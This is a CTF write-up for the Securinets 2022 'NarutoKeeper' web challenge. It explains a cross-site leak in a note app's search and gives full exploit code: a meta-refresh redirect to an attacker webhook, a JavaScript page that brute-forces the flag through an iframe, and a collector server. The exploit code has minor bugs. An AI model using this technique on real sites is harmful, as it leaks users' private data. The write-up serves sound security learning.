--- title: NarutoKeeper - Securinets-CTF Quals 2022 date: 2019-10-14 17:09:06 author: ma1f0y author_url: https://twitter.com/mal_f0y categories: - Web tags: - web - XS-leaks --- One line content description (Optional) **tl;dr** + Insert note with meta tag to redirect to get callback + leak the flag using search <!--more--> **Challenge points**: 996 **No. of solves**: 8 **Solved by**: [ma1f0y](https://twitter.com/mal_f0y) ,[yadhuz](https://twitter.com/YadhuKrishna_)<!--Change username--> ## Challenge Description I was confused and didn't know what's the approproate name for this website :( However just a typical note keeper website \o/ Enjoy the ride :) ## Intro This was an intresing XS-Leaks challenge from securinets ctf, which had the least number of solves among web challenges. ## Analysis In this challenge , we were given a note creating app and there was a search functionality where we can search note content and which was an intresting place to start searching for bugs like XS-Leaks ```python= @app.route('/search') def search(): if 'username' not in session: return redirect('/login') if 'query' not in request.args: return redirect('/home') query = str(request.args.get('query')) results = get_pastes(session['username']) res_content=[{"id":id,"val":get_paste(id)} for id in results] if ":" in query: toGo=get_paste(query.split(":")[1]) sear=query.split(":")[0] else: toGo=res_content[0]["val"] sear=query i=0 for paste in res_content: i=i+1 if i>5: return redirect("/view?id=MaximumReached&paste="+toGo.strip()) if sear in paste["val"]: return redirect("/view?id=Found&paste="+toGo.strip()) return render_template("search.html",error='No results found.',result="") ``` looking through the source code for the search endpoint we can easily spot the bug.The bug is that if the searched note was found we can load any note in the response by giving the `note_id` after a `:`. `/search?query=flag{:note_id` Now we need to have an oracle to find out whether our note is loaded or not. We can insert HTML as note,but there is strict csp, So no xss ```htmlembedded= <meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'"> ``` **meta tag to rescue** We can insert a note with meta tag to redirect to our site ```htmlembedded= <meta http-equiv="refresh" content="0;url=http://site/webhook"> ``` So if the note is loaded it will be redirected to our site with that we can bruteforce the flag char by char there was a timeout for the bot to visit the url we give. ```javascript= await page2.goto(website,{ waitUntil: 'networkidle0', timeout:60000 }); // Opens page as logged user ``` but note the `waitUntil: 'networkidle0'` which means the bot will wait until there is no network connection for at least 500ms , So we can load a image(just sleep) which will delay the timeout ## Exploit client-side code for the exploit ```htmlembedded= <!DOCTYPE html> <html> <body> <script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } chars="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}" char="" webhookid="HNDMTOGDSWTAPQH397PIXAXKZ79QUWHQSE96RVSU6C5PZGGN5G5Z5L3R1FQN3FTJ" window.webHook = "http://attacker_site/" window.url=`https://20.124.0.135/search?query=Securinets{${char}:${webhookid}` var temp= document.createElement("iframe") temp.setAttribute("src", url) document.body.appendChild(temp) let know = "Securinets{" async function checker(){ for(var i=0; i<chars.length; i++){ char=Known+chars[i]; await fetch('/log?current='+char) temp.src=`https://20.124.0.135/search?query=${char}:${webhookid}` await sleep(3000); let resp = await fetch('/progress') let found = await resp.text() if(found != know){ know = found return; } } } while (know[-1] != '}'){ checker(); } </script> <img src="http://sleep_url/"> </body> </html> ``` attacker's server ```python= from flask import Flask,request,render_template,session,redirect app = Flask(__name__) found = "" letter = "" @app.route("/") def welcome(): return render_template("index.html") @app.route("/log") def log(): global found, letter letter = request.args.get("current") return found @app.route("/webhook") def webhook(): global found, letter found = found + letter return found @app.route("/progress") def progress(): global found return found if __name__=="__main__": app.run(host="0.0.0.0", debug=True, port=8085) ``` There was more insteresting solutions for this challenge like abuse the redirect in the search with fetch redirct limit. Totally Solving this challenge was fun and learnt a lot with it ## Flag ``Securinets{ArigAt0}``